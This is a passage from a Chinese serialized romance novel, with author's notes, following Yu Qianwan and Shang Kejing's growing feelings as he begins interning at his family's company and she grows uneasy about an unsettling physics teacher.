“不然就是想我是不是脑子坏了, 放着半年的好日子不过自讨苦吃。” 虞千绾脑海里跟着他的话同步脑补出了那情形和自己的腔调, 轻笑出声, “的确也会这么想, 但你既然决定了,肯定之前都想好了, 虽然我还是很好奇到底是什么推动你下定的这个决心。” “我也说不明白, 各种因素都有一点吧,不是某个单一的点。” 商恪景少见的跟虞千绾撒了个小谎, 手指不自然的在鼻前蹭了蹭,竭力用她占百分之九十九, 旁的事占百分之一安慰自己这也算各种因素, 不算完全的撒谎。因为他觉得跟别人说类似‘我是因为你才下定决心去做的某事’很容易让人有压力,尤其对面还是喜欢的女生,而且这件事归根结底是利他的,那就更不该在自己要做的事牵扯到她了。有些事的事实是一回事, 说出口又是另一回事。 “主要这不是没课了嘛, 我也不想一边毕业一边就被我哥揪去当成陀螺不停转,所以我就跟我哥商量了一下,我现在去永誉的话, 毕业以后可以不用天天待在集团里,到时候可以跟项目走,一个一个项目的, 忙完一个可以休息一段时间。虽然不知道到底休息多久,但总比连着上班好多了,相当于把现在的假期挪到后面了。” 这个是商恪景这两天跟商知珩求来的,估计是看在他这次很自觉,还主动提出去永誉实习的份上,商知珩这个做哥哥的很欣慰,很爽快的就答应了他的请求。 商恪景见哥哥这么快松口,当即又提说虞昭音可是每十万赞给虞千绾一个月的休息时间,他也想要哥哥给点奖励作为鼓舞。 这次,商知珩好半晌没回他消息。 正当商恪景以为要泡汤的时候,商知珩回说,看他的表现,如果在项目里干得好,就可以让他多休息一段时间再进下个项目。至于这个好坏和具体的放假时间,决定权都在商知珩手上,他暂时没有给出明确的评判标准。 商恪景也知趣没持续追问,连甩了三个感恩以及殷勤捏肩的表情包过去。 虞千绾听到这就可以理解了,原来还是为了以后能舒坦些,和她开始工作的原因算是异曲同工了。 打心底里,她肯定是不想商恪景去实习的,因为那样就意味着天天黏在一块的他们只有在晚上他下班后才能见到了,相处时间骤减,甚至他如果加班她早睡,那一天下来都不一定能见着一面。但同时,她也深知这念头过于幼稚,她自己都有工作在做,怎么可能让商恪景什么都不做就天天瘫在家里。所以失落归失落,她还是很支持商恪景的。 商恪景在虞千绾家又跟她聊了会儿天就主动提说回去了,没等到她要睡才走。毕竟明天一早就得去集团报道,这些天在度假山庄又睡得很晚,生物钟混乱,他得早些洗漱好躺到床上酝酿睡意,否则怕是都要天亮了才能睡得着,那样明天会很萎靡不振,第一次正式去集团肯定不能给人留下过于不好的印象。 虞千绾看着他离开的背影,更觉昔日她认为很平等很互相的朋友关系其实没那么对等。譬如,大多时候是他来她家找她,待到她困了累了才离开,基本都是由她发号施令,很少是他有什么事,难道他不会累不会困吗?那自然不是。 自从知晓商恪景的喜欢后,她才在一个个细节里迟钝发觉此点。 虽然虞千绾知道那是因为当初的她只拿他当朋友,而他在朋友之外还有别的情谊,这两份感情堆在一块自然是要重过她那一份的,并不代表那时的她少做了什么。 但后知觉的意识到这些,她还是忍不住的心疼他。 每每发觉参差就会后悔,后悔看到他的时间还是有些迟了- 这些天在度假山庄天天过得日夜颠倒,回到家里抱着自己的玩偶躺得更为舒适,玩得更悠然。 虞千绾险些熬穿,窗外天都有些亮意才睡,一觉睡到下午才醒。 打开手机就看到商恪景发来的很多条不同时间段的消息,从早上出门到到达永誉大厦,再到和商知珩碰面,参加会议寒暄客套,被商知珩助理领去项目组了解环境,以及他昨天答应过她的知道后会第一时间发来的工作时间安排等等一系列,有意思的没意思的,他好像全都想要告诉她,让她得知全部她没有亲眼看到的他的日常。 虞千绾从中感受到他的在意,也很细节的一条条引用着回复。 但商恪景那边估计在忙,没有立即回复她。 虞千绾在床上又玩了会儿手机才起身去洗漱,她看着镜子里正在刷牙的自己,鬼使神差的想到了和常桦暧昧的那些年,没有恋爱经验只有满心热忱的她当时陷在其中不觉有甚。 现在有了商恪景对比,她才深刻意识到那段关系到底有多么的不健康,更能理解为什么商恪景那日醉酒会因为心疼哭成那样,他有多心疼她就有多厌恶常桦,结果她在那些年里还数不清多少次在他面前夸赞常桦…… 虞千绾清晰感知到自己在陷落。 因为心意一点点明了,所以老是会想起他曾经的不易,会产生延迟这么多年才至的共情和心疼。 突然,她很想商恪景。 也不想干什么,就是想看看他,看着就好。 虞千绾拿起放在一旁的手机,捏开屏幕,点入微信查看。 商恪景的聊天框又被很多群消息压到了下面,这一次,没有过多思考的,虞千绾主动将他设置为微信置顶。 还在心里暗暗庆幸,庆幸她把他取消置顶的这段时间他没发现,不然还不知道又要跟她说什么呢…… 在虞千绾眼里,商恪景就像是突然从一个笑笑闹闹的同龄人变成了一个明显要更有性张力和吸引力的年上男,她尚没完全适应这种新身份的变化。 而商恪景则是暗恋多年,如今发现虞千绾也在向他靠近,心里压抑的火山一朝迸发,灼热的要命,自然没有退缩的道理。 习惯了天天打开手机给他发个消息他就会出现在自己的视野里,就算暂时没联系上也知道对方估计在睡觉,而且就在自己的隔壁,睡醒就会过来。 现在却是明知商恪景肯定不在,这种落差让虞千绾很不习惯。 她拿着手机在家里来来回回踱步了好一会儿,三两步就得举起手机瞧一眼微信有没有新消息。 可惜一直没有。 饶是知道商恪景在永誉忙,第一天去集团肯定有很多要了解学习的事。 但她还是站到了门后,眯着单眼通过猫眼往外看,看到商恪景关着的家门幽幽在心里长叹。 急需找人聊聊天转移些注意力的虞千绾开始骚扰家人,给妈妈和姐姐都弹去了表情包轰炸。 结果姐姐直接回了个:【闲着没事?正好过两天周老教授要办八十大寿,你替我去吧。】 虞千绾双手双脚拒绝,登时老实不敢在姐姐面前冒头,生怕真被安排了什么事。 吃饭途中,虞千绾终于收到了商恪景的回复。 他说自己这会儿有点忙,没时间看手机,不过毕竟是第一天来集团报道也没什么正儿八经的工作让他干,他今天就是过来熟悉一下,估计过会儿就能回去了,问她有没有什么想吃想要的,他捎回来。 虞千绾想了想回:【草莓冰糖葫芦】 商恪景回了个ok的表情包,【请等等您的专用骑手小商,很快送达】 很简短的几句对话,虞千绾却盯着手机屏幕反复看了良久,唇角持续挂着沉浸式笑容。 有了冰糖葫芦这个盼头,虞千绾心情好了不少,哼着歌儿拿着电脑盘腿窝在沙发上,一边期待着商恪景给她带吃的回来一边也忙起来自己的工作。 她的账号里的一些视频片段是嘉澍那边直接提供给她的,她自己想要保留哪部分剪辑进去就行,但有些内容还是需要自己去拍,因为时不时她也会出镜。 不过这些内容需要和多方沟通好才能去到现场进行拍摄,所以虞千绾依着刘助理的要求把自己想要拍摄的画面和脚本发送过去,助理再根据她的需求帮她协商对接。 起初,虞千绾还有些三心二意,弄弄工作看看手机的,进展缓慢,但随着时间投入进去后全然把工作以外的事抛诸脑后。 直到家门被从外叩响了声,她才骤然回过神来。 家门随之也被从外试探性缓缓推开。 虞千绾拿起手机才发现商恪景给她发了好些条微信,“你进来吧,我刚刚在工作,没注意到消息。” 听到她的声音,商恪景这才彻底推开了她家门迈入,“千绾总偷偷在家卷我这个凄惨的小实习生呢。” 工作也做得差不多,虞千绾多按了几下保存才合上电脑放在一旁,踩入拖鞋就去迎商恪景。 顺着他的打趣也笑答:“对啊,毕竟是个总嘛,总是要比实习生多干些的。” 有立着的玄关柜挡住,自沙发到玄关的那段路并不能看到玄关的情形。 虞千绾绕过玄关柜才看到商恪景,但也看到了让她瞳孔为之一震的画面—— 商恪景左手手指拿着包装好的草莓冰糖葫芦,掌根抵在面前的玄关柜上稳着身形。身形稍弯,右手脱掉皮鞋换上拖鞋。 这就是很正常的动作,但是,他穿着一身极其正式的西装三件套,西装是藏青和深灰色的,很显成熟和稳重,量身定制的西装更是贴合身材,将他平日里掩在宽松衣服下的宽肩窄腰完美勾勒出来。他的头发应该也是特意弄过的,往上抓了抓露出大半饱满的额头。 虞千绾不是第一次见到商恪景穿西装,但还是第一次看他穿这么正儿八经的西装,之前都是带些休闲风的,一种新奇的、绝对诱惑力的气息扑面而来。 虞千绾顿在了原地,眼睛眨也不眨的直直盯住他。 更别提商恪景还随意睇来一眼,就是这种不过多掺杂什么感情的随性的眼神让他熟男气场暴涨,虞千绾呼吸也是一窒。 作者有话说:哈哈哈千绾这个眼神就很像甄嬛传里面四郎那个表情包!朕从未见过这样的你[爱心眼][爱心眼][爱心眼] 如果有宝子不知道这个表情包的可以来我微博看,我在微博发啦,很贴切[狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] vb:@九岁砚 第56章 第 56 章 更紧地握住了她的手…… 虞千绾这么多年以来, 第一次这样深刻的意识到商恪景极其对她的审美…… 是那种她在初高中时期,在和一堆女同学的畅聊局中会描述的所谓的理想型模样。 既可以幼稚陪着她笑闹,又可以很沉稳的为她托底让她心安,她本以为这是矛盾的。 后来喜欢上常桦, 虞千绾则想, 果然, 理想型就是理想型, 在真正的喜欢面前压根不算什么, 没有参考性,常桦和她原本设想丁点都不相似。 可现在看着商恪景, 虞千绾却忽然笑了, 笑自己傻,怎么兜兜转转绕了这么大的一个圈, 他明明一直都在啊。 “怎么?” 商恪景很陌生于虞千绾这样的眼神,还以为自己身上沾到了什么脏东西, 换好拖鞋朝她走近递出草莓糖葫芦的时候低头看了看自己的衣服, 但没有看到异常之处,有些迷茫的问询:“笑什么?” 笑你长得帅啊。 ——这种夸赞对方的话,换做往常,虞千绾其实并不少说, 她经常由衷赞美商恪景的某些方面, 最直观的五官自然也有多次,但现下,她却有些说不出, 比往常多了些羞臊之意。 “笑……当然是因为心心念念的糖葫芦回来了啊。” 虞千绾话锋急转,伸手从他手里猛地拿过草莓糖葫芦,低头就状似很想吃的拆着包装。 商恪景笑着, 视线悠悠追随着她问:“这么没良心啊?光想着糖葫芦?” 她当然知道商恪景暗戳戳的在表达什么,但不点破,睐了商恪景一眼后反问:“当然了,不然呢?” 商恪景抿着笑不语,就看着虞千绾。 她正在和手里的草莓糖葫芦做斗争。 草莓的个头实在有些大,外头又裹着硬硬的糖,现在天冷便更硬了,用前牙咬起来有些费劲,压根咬不碎,她便想直接把一整颗草莓含到嘴里,略显贪心的行为并没有成功,因为草莓实在太大,她的嘴巴包不住,草莓另端摇摇欲坠想往下掉,虞千绾快速咀嚼吞咽,倒是没让草莓掉出来,可清甜的草莓汁水控制不住的从口腔往外溢。 虞千绾没想到吃个冰糖葫芦会狼狈成这样,但身周又没纸,她只能紧急仰起头,双手拦在下巴的位置。 与之同时,商恪景也下意识伸出了手想帮她接着,但慢了她半拍,和她的手指发生细微的触碰后就自觉下移悬空放在了她手下做双重保护,防止滴到身上把衣服弄得黏糊糊的。 因为穿西装,商恪景今天并没有随身带纸巾,不然西裤鼓鼓囊囊的很影响视觉观感,他从西装的外口袋里拿出了手帕放到虞千绾手上。 视线受阻,虞千绾其实没看清商恪景往她手里塞了什么,他递来她就拿着了,但靠着触感知道是布料,不过嘴巴里的草莓被她迅速咽下了些,剩余的大小可控,她便没用。 敛眸才发现那是手帕。 在这个年代,很少还有人用手帕,虽然是西装必不可少的部分,但冷不丁用着还是感觉挺微妙的。 指尖轻轻捻了捻,她才将手帕原封不动还给了商恪景,嘴巴里的草莓糖葫芦还没吃完,她说起话来有些含混,“给你。” 商恪景拿过,但懒得叠好整理好,随手抄进了兜里。 这么个小动作惹得虞千绾哼笑了声。 就好像面前这个看起来成熟的男人和记忆里那个少年在共存。 商恪景看着她的糖葫芦,忽道:“给我吃一个呗?” 虞千绾有些护食地蹙了蹙眉,“你想吃干嘛不买两根?” “很甜,我吃不了那么多,一个就行。” 商恪景指了指虞千绾糖葫芦的顶端那个,“这个正好,是这一串里最小的一颗草莓。” 吐槽归吐槽,但虞千绾还是跟着就把冰糖葫芦伸了出去让他吃。 她的本意是让商恪景接过去自己拿着吃,哪知道,他就那么抬起手挨在了她的手上,很微妙的一个触碰,他的大部分手部是握在糖葫芦的签上的,但拇指和食指覆在她的指背上,是一个带有试探性的动作。 她如果排斥可以立刻把手撤走,如果不排斥…… 那商恪景就不会再给她逃脱的余地,五指全都攥住她的,大手包着小手,面上不动声色,眸中蓄着笑弯下身明晃晃在虞千绾面前用齿尖咬住草莓顺着签衔出。 就连咀嚼的时候都目不转睛地看着她在吃,那个眼神看的虞千绾感觉他吃的好像不是草莓一般…… 这颗草莓虽然是一串里最小的,但整体也没小到哪去,商恪景吃起来也是略微有些费劲的,不过有虞千绾这个前车之鉴,他明显吃得比较注意,没她那么狼狈。 但在咀嚼的过程中,迸出的鲜红的草莓汁水在他的唇角时隐时现,透着难言的色欲劲。 虞千绾突然很脸热,她急遽想收回手,结果没收回来,商恪景低笑了声,反倒更紧地握住了她的手。 虞千绾登时抬起另手往他胸膛狠狠打了一下,将他往后又推了下让他远离些自己,这才拽回了自己的手。 她很难为情,感到自己的脸颊在持续升温,不想让商恪景发觉她的羞赧,于是说着口是心非的话,“商恪景你斯文败类啊,穿的这么正经干这种事?快点离开我家。” 可男女之间力气天生就是不对等的,商恪景如若不配合的话,虞千绾压根推不动他。 但若是这么僵持下去,虞千绾真的会恼羞成怒,商恪景也不想离开,便主动把手上的草莓糖葫芦往她面前送了送,开启对话缓和黏稠的氛围,“糖葫芦也不要了?” “要!这个当然要。” 虞千绾毫不留情一把夺过,“我只是让你走。” “那不行。” 商恪景可以清晰觉察到虞千绾并不反感他,甚至当下的氛围还是充斥着暧昧的,他自不可能这种时候离开,他的手里还残留着她的温度呢,他便大步流星朝她家沙发走去,厚脸皮坐下,“我在这休息会儿,就当是给我的配送费了。” 虞千绾面上幽幽凝他,但嘴上什么都没说,也是想让他在这的。 商恪景单手撑在沙发扶手上,适时说出句有些示弱的话,“没睡好,脑袋有些嗡嗡的。” 虞千绾默了默,“几点睡的?” “两点,虽然上床很早,但在度假山庄那几天实在睡得太迟了,一时间难以调整过来,在床上躺了很久才睡着。” 氛围好像淡下来了些,虞千绾又咬下一颗草莓,坐到了商恪景身边,“比我强,我睡得比昨天在度假山庄还迟,估计当时再迟些睡你都要起床准备去永誉了。” 商恪景视线跟随着她,眉眼间持续带着笑,“这时候不就体现出你工作的优势了?地点时间相对自由。” “那可不。” 虞千绾也很满意地扬了扬下颚,“你呢?今天去永誉感觉怎么样?” “挺头大的。” 仅是想了想,商恪景就喟叹声,有些头疼地曲指摁了摁太阳穴。 因为永誉集团二公子这个身份,商知珩对商恪景的要求很高,给他安排的工作强度比刚进集团的实习生高多了。 商恪景虽然可以理解,但听着助理说那些工作安排时免不得感到疲累。更别提还有那么多人盯着他,一丝一毫的纰漏都会被无限放大,正常实习生可以犯的错他统统不能犯。 他就像是一匹享受在草原上自由驰骋的野马突然被拴上缰绳勒住,虽然那缰绳是他心甘情愿自己套上的,但短期内确实还不太适应,还需要些时间。 两人就此话题聊了很久,商恪景几乎把他从早到现在的一点一滴都尽数告知了虞千绾,虽然其中有些事他通过微信和虞千绾说过了,但不妨碍现在再说一遍。 毕竟文字总是要简洁一些,不比面对面说起来更详细更生动。 虞千绾也跟他分享了自己工作上的事。 她有个叫蔺凌晓的朋友现在是自媒体工作者,蔺凌晓从大一时就开始在网上发视频了,迄今也有小几十万粉丝了。 蔺凌晓起初也没打算做这行,就是单纯喜欢分享美照和日常,之所以发在网上就是因为会有更多人能看到,收获更多的夸赞,后来多了些关注发现可以当个职业才认真好好经营账号。 她家里有两个哥哥,爸妈对她的要求便没很多,只要她别天天在家躺平就成,所以即使她做自媒体赚的钱覆盖不了支出她爸妈也不在意,只要她在努力就成。 虞千绾是昨天晚上收到的蔺凌晓的消息,她向她发出了邀请,问要不要一起共创条视频。 蔺凌晓家里的经济条件其实都算不太上虞千绾圈子里的人,但在普通人的眼里绝对是很有钱的那类了,所以前两年她也曾因为‘富家女’这个标签在网上小火过一阵,看到虞千绾在经营账号后犹豫好些时间到底没忍住来问了问,她认为她们共创的视频发出去肯定会获得不小的流量,是个对双方都有利的事。 虞千绾很快就同意了,一方面是因为她的账号里也需要些新鲜的东西,另方面蔺凌晓做了很多年短视频了,虞千绾觉得可以和她取取经,肯定能学到不少。 再不济就当是和朋友聚餐吃了顿饭,总之肯定不亏。 不过蔺凌晓这几天正在外地旅游,得等到半个月后才能回京市,到时候俩人再约具体时间和地点。 蔺凌晓的账号类型就是有钱躺平的大小姐,她账号里基本都是自己满世界跑着玩的各种美照和vlog,常年不在京市。 商恪景险些都没想起蔺凌晓是谁,因为他们并不熟,最重要的是她跟虞千绾不熟,而他能注意到的女性朋友大多是经常和虞千绾在一块玩的。 蔺凌晓从没有跟他们在一个学校过,不过蔺凌晓这人性格热情,初高中那段时间因为爱玩和薄正卿联系很密切,这俩人无论什么局都会喊上对方一起玩,而虞千绾和商恪景时不时会去薄正卿的局,所以才和蔺凌晓有了些接触,不过后来薄正卿出国,他们自然也就跟蔺凌晓没了接触和联系。 蔺凌晓和虞千绾这次会重新约上聚在一块显然是因利,否则以虞千绾的性格肯定是会婉拒的,蔺凌晓应该也压根不会发出邀请。 商恪景看着开始把工作和利益考虑入人际交往里的虞千绾,愈发庆幸自己决定去永誉实习。 殊不知半月后那场碰面会让虞千绾知晓一件,他没有告知过她的事。 第57章 第 57 章 他直接揽过了虞千绾的肩…… 商恪景进到永誉工作的一周后, 两人都逐渐适应了新的相处模式。 每一天,无论虞千绾有没有明确说出东西让商恪景买回来,他都会给她带回至少一个小物什当做日常的小惊喜。 有了这样的认知后,虞千绾每天都在期待商恪景下班归来时分, 会忍不住想他今天买什么。商恪景也会幸福于给她挑选东西的过程以及她拿到的雀跃反应。 商恪景每天带回来的东西不一定多么的贵重, 物品自身的经济价值并不高, 但这一举动却成了两人生活里的小确幸。 商恪景和虞千绾平日里躺平归躺平, 但真进了自家集团工作, 态度绝对很端正,他们都有很强的家族荣誉感, 私下跟家里人怎么发牢骚怎么懒散都成, 可在集团里、在外人面前他们就代表了家族的某一面,他们都不想因为自己让家族背上不好的评价。当然, 这种评价仅限于确切的事实,而非没道理的随意置喙, 所以他们尽可能的不让自己犯工作上的错漏。 因为如此, 商恪景接连上了两周的班,刚来永誉的他有太多太多需要学习的地方了,虽然商知珩给他派了个助理随时在身边帮着教着但知识不是一下就能全部进到脑子里的。 第二周周中,商恪景才终于有了些底气, 倒不是说工作做得多好, 他现在依旧在学习,是个彻头彻尾的小白实习生,但将大致流程都熟悉好了, 心里头便没那么容易发怯。 于是,商恪景和虞千绾沟通了她的时间后选择这周日单休一天。 上班后的日子过得格外漫长,但有了这个盼头, 时间的流速都仿佛比之前快了些。 周六在两人的希冀中到来,商恪景下班前两小时虞千绾就在家里试衣服了。 大抵是因为现在把商恪景当成了一个暧昧接触中的异性,虞千绾开始在他面前注意自己的形象,没再像之前那么随意。 即便只是去楼下吃顿火锅她也格外重视,嘴里哼着歌很开心的在衣柜里挑选着衣服,换上,脱掉,再拿新的换上,再脱掉,直到终于满意为止。后续不止化了妆还戴了副日抛美瞳,显然她那双本就水灵的大眼睛更为灵动。 收到商恪景说下班回来的消息后,时间就仿佛又滞缓了下去,过得很慢。 虞千绾一分钟能看八百遍时间,还老通过窗台往下看,实时观察商恪景的车有没有回来。 她很清楚从永誉集团到家所需的车程,正当她估测商恪景的车两分钟内肯定会出现在楼下时,他的消息先发了过来。 【京市今天举办了一场大型书展活动,来了不少人参加,又碰上晚高峰,所以路上很堵,我今天得迟些才能到家(晕.emoji)】 “啊……” 虞千绾仰头倒在沙发上发出声哀嚎,她倒是知道这个书展,是京市一年一度的大活动,不仅会来很多知名作者,还会有很多全国各地爱读书的人来参加,她也从短视频、朋友和家人那有所耳闻,但她没过多关注,并不知道具体日期是今天,更没想到堵车这层。 她丧气地鼓了鼓嘴呼气,心不甘情不愿回了个【知道了】。 在家又等了一刻钟的时间,商恪景依旧没回来,虞千绾有些待不住,她想还不如往楼下走走动弹动弹既能打发时间又能省了他上楼的时间更快见到。 但这种话虞千绾不可能直白和商恪景说出口,她找了个借口跟商恪景说:【我有些嘴馋,先去美食街买些小吃,到时候带去火锅店一起吃,你回来直接来美食街找我就行】 【好】 商恪景秒回:【我这边应该一刻钟左右就能到】 虞千绾回了个ok的小表情便摁灭了手机穿上外衣,行至玄关换鞋出门。 虽然商恪景说还得十分钟,但虞千绾下楼的时候还是不自觉四处张望,想着万一呢,万一路况畅通起来他很快就回来了呢。 可惜要走入看不到小区门口的岔道里也没看到熟悉的车辆。 大学旁一般都有条美食街,京大旁边自也不例外,而且离学校很近,虞千绾出了小区没走一会儿就到了。 虞千绾本来没有很饿的,但闻到那迎面扑来的香味,肚子里的馋虫很容易就被勾起,顿时感觉自己饿了几个度。 因为还有商恪景在,虞千绾买起小吃较为放肆,东西可以分着吃,她可以每样都尝一点,余下的给他吃。 不过正值晚饭点,京大里大一大二大三的学生和研究生博士生都还没放假,依旧很多人涌在美食街里买吃食。 虞千绾便先寻着想吃的人少的摊位去点餐付款,然后在老板制作的途中再去别的摊位排队。 虞千绾很喜欢这种小摊贩营造出的烟火气,她和商恪景在上大学之前基本都没接触过,他们从幼儿园到高中上的都是京市最顶尖的那类,里头的学生几乎各个都有专车接送,就算学校里配置的餐厅也很高级但他们很少在学校用餐,即便有事不回家也有保姆过来送餐。而且就算去校外吃,校外也都是有格调的餐厅。 那种环境周围压根没有这种小摊,所以两人上大学接触到时就像是开启了新世界的大门,一度天天在这买着吃,负责给他们做饭的保姆好些天没活干,家里爸妈知道给他俩训了一顿,无疑是说这种小摊不卫生,不许他俩吃,但长辈知道管不住他们,又退了一步说就算吃也不能这么频繁,一个月吃一次得了。 两人自然表面乖巧的应下,背地里该吃还是吃,但比起刚上大学的时候频率低了很多,一方面是新鲜劲过去,另方面是时不时得让保姆做饭,否则被家里定期询问现状的长辈知道又免不了一顿唠叨。 眼下确确实实好些天没来这买过小吃了,虞千绾还发现美食街里又多出几家之前没见过的新店,便生出些探索欲多买了些吃食。 怕吃不完浪费,她每家都买的小份。 手上提着很多袋子站在最后一家准备买的铁板豆腐摊位前排队,这个摊位排队的人最多,虞千绾本想着如果商恪景回来了她就不买了,但眼下他还没消息,她就站到了队尾开始排,心想铁板豆腐做得快,应该也不用等特别久。 谁知排着排着前面突然有人直接要了二十几份,宛若平地一声雷,排队的大家都嚎叫了声,有不情愿等的人直接就走了。 虞千绾收到商恪景回来的消息时,老板正好做完那行人的大单,大家都往前进了一大截。 虞千绾正卡在队伍的中间,她感觉自己排了好些时间,现在好不容易要排到了却离开很不值当,于是她给商恪景说了自己现在的摊位,让他过来找自己。 消息刚发出,身边忽然传来一人带有些试探的声,“虞同学?” 很少有人会这么称呼自己,但感受到身侧倏然投来的好几抹视线和熟悉的姓氏,虞千绾慢半拍抬起了头循声看去。 只见是那群刚刚买了二十多份铁板豆腐的人,她等待的时候踮脚往前看了好几次,对这波人的衣装还算眼熟,喊她的人是为首的那个戴着眼镜的斯文男人,年纪明显要长他们些,样貌和气质让虞千绾感到熟悉又陌生…… 这一幕发生的突然,虞千绾眼神里有些茫然,脑海里正在搜寻的时候,那人就主动开了口。 “虞同学你好,我是京大物理系老师周既明,之前在篮球场里认错了人吓到你,很抱歉。” 周既明递来了两份铁板豆腐和一杯奶茶,“这个队伍很长,排起来估计还有一会儿,这些送你,再次向你赔罪,抱歉。” 周既明开口的时候虞千绾也想起了他,那日的事重新在脑海浮现,她瞳孔一震,脚下往后退了半步。 周既明身边的那几人应该是他的学生,眼里都带着大学生的清澈,笑吟吟看着闲聊着等待着他。 美食街也有很多人,这样的氛围让虞千绾没那么慌乱,但心里还是突突的,她总感觉这个周既明怪怪的,既然是认错人,他们就见过一次,他今天怎么又准确认出了她,他若是不提,她怕是在人潮里压根认不出他。 而且她还记得他上次猛然攥住她手时那副狠戾的模样,和现在的温润气质判若两人,悬殊越大越让她感到不安,只觉他太会伪装。 虞千绾有些生硬地拒绝了他,“谢谢,我不需要。” “虞同学,我想我们之间有些误会,我——” 周既明正说着,虞千绾看到他的身后,个子高挑的商恪景出现在视野中,虞千绾被周既明几人挡住,商恪景尚没看到,正在左右看着摊贩小餐车顶端挂着的摊位名寻找她,她赶忙侧过身踮起脚朝商恪景招了招手,高声吸引他注意力,“商恪景!我在这。” 商恪景听到看到,视线瞬间落在虞千绾身上,不明所以的他朝她笑了笑。 虞千绾却是笑不出来,她迅速从离了周既明一小截的侧边钻过,快步向商恪景靠近。 但美食街的人真的太多太多,人挤人的显得道路很窄,虞千绾没办法跑起来,只能侧着身不断在人缝间穿行。 抓住商恪景胳膊的那一刻,虞千绾悬着的心才彻底落下,她重重呼了口气。 觉察到她的不对劲,商恪景敛起笑,关切问:“怎么了?” “快走,上次在篮球场认错人突然抓住我不放的那个物理系老师也在这,刚刚还跟我搭话,我感觉好奇怪。” 虞千绾两手都抓住商恪景的胳膊,拉着他一起快步向外的时候没忍住扭头又瞧了眼刚刚的位置,结果这么一眼,她又隔着攒动的人头和周既明对上了视线,他也正在看着她的方向。 虞千绾脊背发僵,鸡皮疙瘩都要冒出来,倏地收回视线扭回头,脚下更快。 跟着她动作一同扭头看过去的商恪景也敏锐发现了一直看着虞千绾的周既明,感受到虞千绾的不安,更像是对周既明的威示,他直接揽过了虞千绾的肩头将人严实护在怀里,边往外走边冷冷凝着周既明,直到周既明先撤回了视线。 作者有话说:能否猜到周既明和千绾之间的关系[狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第58章 第 58 章 “点男模”“千绾总点我…… 走出美食街, 视线范围内不会再出现周既明的身影,商恪景将手从虞千绾肩头拿开前轻轻拍了拍以示安抚,“放心,他没在了。” 手指离开她的那刹在空中顿了顿才收回, 垂回身侧有些后知后觉的眷念, 指腹轻轻捻了捻。 听到这话, 虞千绾才敢扭头眺了眼, 并未对他的小动作有所觉察, 也不觉他刚刚的拥搂有什么异常,因为那动作让她很有安全感, 很合时宜而非贸贸然。 火锅店就在不远处, 商恪景停住脚,却将虞千绾的身形往火锅店的方向推了推, “你先去点菜,我回去看看他到底想干什么, 很快来找你。” “别!” 虞千绾眼睛睁大, 刚松开的手立即又拉住了他的小臂,拽着他和自己一起往火锅店去,想要阻止他。 但商恪景没听她的,身形稳稳立着不动, “千绾, 上次可以说是认错人,是意外,那这次呢?接连两次, 这里面明显不对劲。他这种人,你越躲着他越会得寸进尺。” “放心。”商恪景抬手打算拉开虞千绾的手,“我有分寸, 很快就回来。” “真别,我知道你的担心,不过今天和上次的情况不太一样。” 虞千绾没松手,视线略有些忐忑的往后瞟,“可能是我刚刚太紧张了,表述有些歧义,先去火锅店吧,我慢慢说给你听,他应该也买完东西要出来了,我不想遇到他。” 商恪景并不想,他很担心,怕万一下次周既明又出现,而他没有及时出现在她身边,她的身边也没人及时向她伸出援手怎么办。 可看着虞千绾的眼神,他没法再坚持,只得败下阵来顺从着但又不那么顺从的一步三回头被她拉进火锅店。 虞千绾阻止商恪景的理由很简单,因为说白了周既明今天没干什么,甚至落在别人眼里他可以说是很有礼貌的给她送了吃的当做赔罪。 美食街人来人往的,现在互联网又那么发达,商恪景过去找周既明要是闹大了,没理的人肯定是商恪景。 虽然虞千绾也觉得周既明这人奇怪,不像个好人,但归根到底只是猜测,没有实证。 他要真是认错人的无心之举,这次见她排斥应该也不会再有下次。 但他要是坏人,就算商恪景去质问什么,他也只会装傻。 而且虞千绾觉得周既明应该不会做什么的,他今天见她的时候张口就主动提了自己作为老师的这层身份和具体院系,毫无隐瞒之意。 京大很注重师德,专门设有让学生举报老师的通道,周既明如果有什么心思还主动和虞千绾说这个无疑是给了她一把毁了他职业生涯的刀,冷静下来想想,周既明今天确实没干什么,但是没办法,他上次的模样太可怖,给虞千绾留下了很不好的印象,即便他什么都不做,她看到他也下意识的想要远离。 商恪景依旧是想去找周既明的,但他们俩都在为对方考虑,而他又拗不过虞千绾,最终只能老实坐在火锅店里。 火锅店里很暖和,锅底上了后没一会儿红油锅就煮开冒着咕噜咕噜声,热气迎面而来便更暖和了,更别提身边还坐着商恪景,很让虞千绾感到安全感和惬意,她倒比商恪景还快忘了刚刚那个插曲,就是在把小吃摆出来的时候有些遗憾于没买到铁板豆腐。 她还没吃过那家的铁板豆腐,但看着那么多人排队想来味道不会差。 商恪景立即就起身说去买,但虞千绾现在很不信任他,总觉得他是想趁这个机会去找周既明麻烦,没给他去,嘴上也没说破,只道这些都不一定能吃完,再买肯定浪费,下次买也不迟。 商恪景不知道有没有那心思,但显然看出了她的深意,无奈笑望了她一眼。 虞千绾无害一笑带过。 商恪景外貌本就出众,这会儿刚从集团回来身上还穿着西装,在基本都是学生的火锅店里更为惹眼。 倒也无关情爱,毕竟人类是视觉动物,看到帅哥美女免不得多投来几眼。 不肯多等匆匆咬下一口虾滑的虞千绾被烫到,但也没烫到要吐出的程度,她就张着嘴边哈气边咀嚼,略显囫囵吞枣地咽下。 “慢点吃,太烫了伤食管。” 商恪景用漏勺捞出几颗虾滑和有内馅容易烫着的丸子放在一旁的空碗里凉着。 “恪景总上了一段时间班,说起话来好像都正经不少。” “那在千绾总面前还是比不得的,您的工龄可比我长。” 两个人开始互相噙着笑在那虚伪的拿腔作调,但其实从提到上班开始就是虞千绾在铺垫,商恪景并没意识到,顺着跟她分享了自己今天枯燥上班时间里的那么一点不枯燥时光。 话茬合适,虞千绾含住吸管喝了口饮料,状似很正常地问:“还记得知珩哥刚去永誉的时候,好像有很多人追求他呢,直白的暗戳戳的都有,你爸妈我爸妈那段时间一见面就爱聊这事打趣。那你呢?” 最后三个字一出,前面那些铺垫都在瞬间如无形。 商恪景从来也都不是个钝感的人,很快觉察到她的关注点。 虞千绾肯定是相信商恪景这方面的,而且他之前每个追求者她都清楚,旁人给他情书什么的,她也都会知道。只不过彼时虞千绾还以为是商恪景在跟她显摆,而今回想才意识到是他在跟她事先说明,说明他对那些女生没有意思,不想引起她的误会。 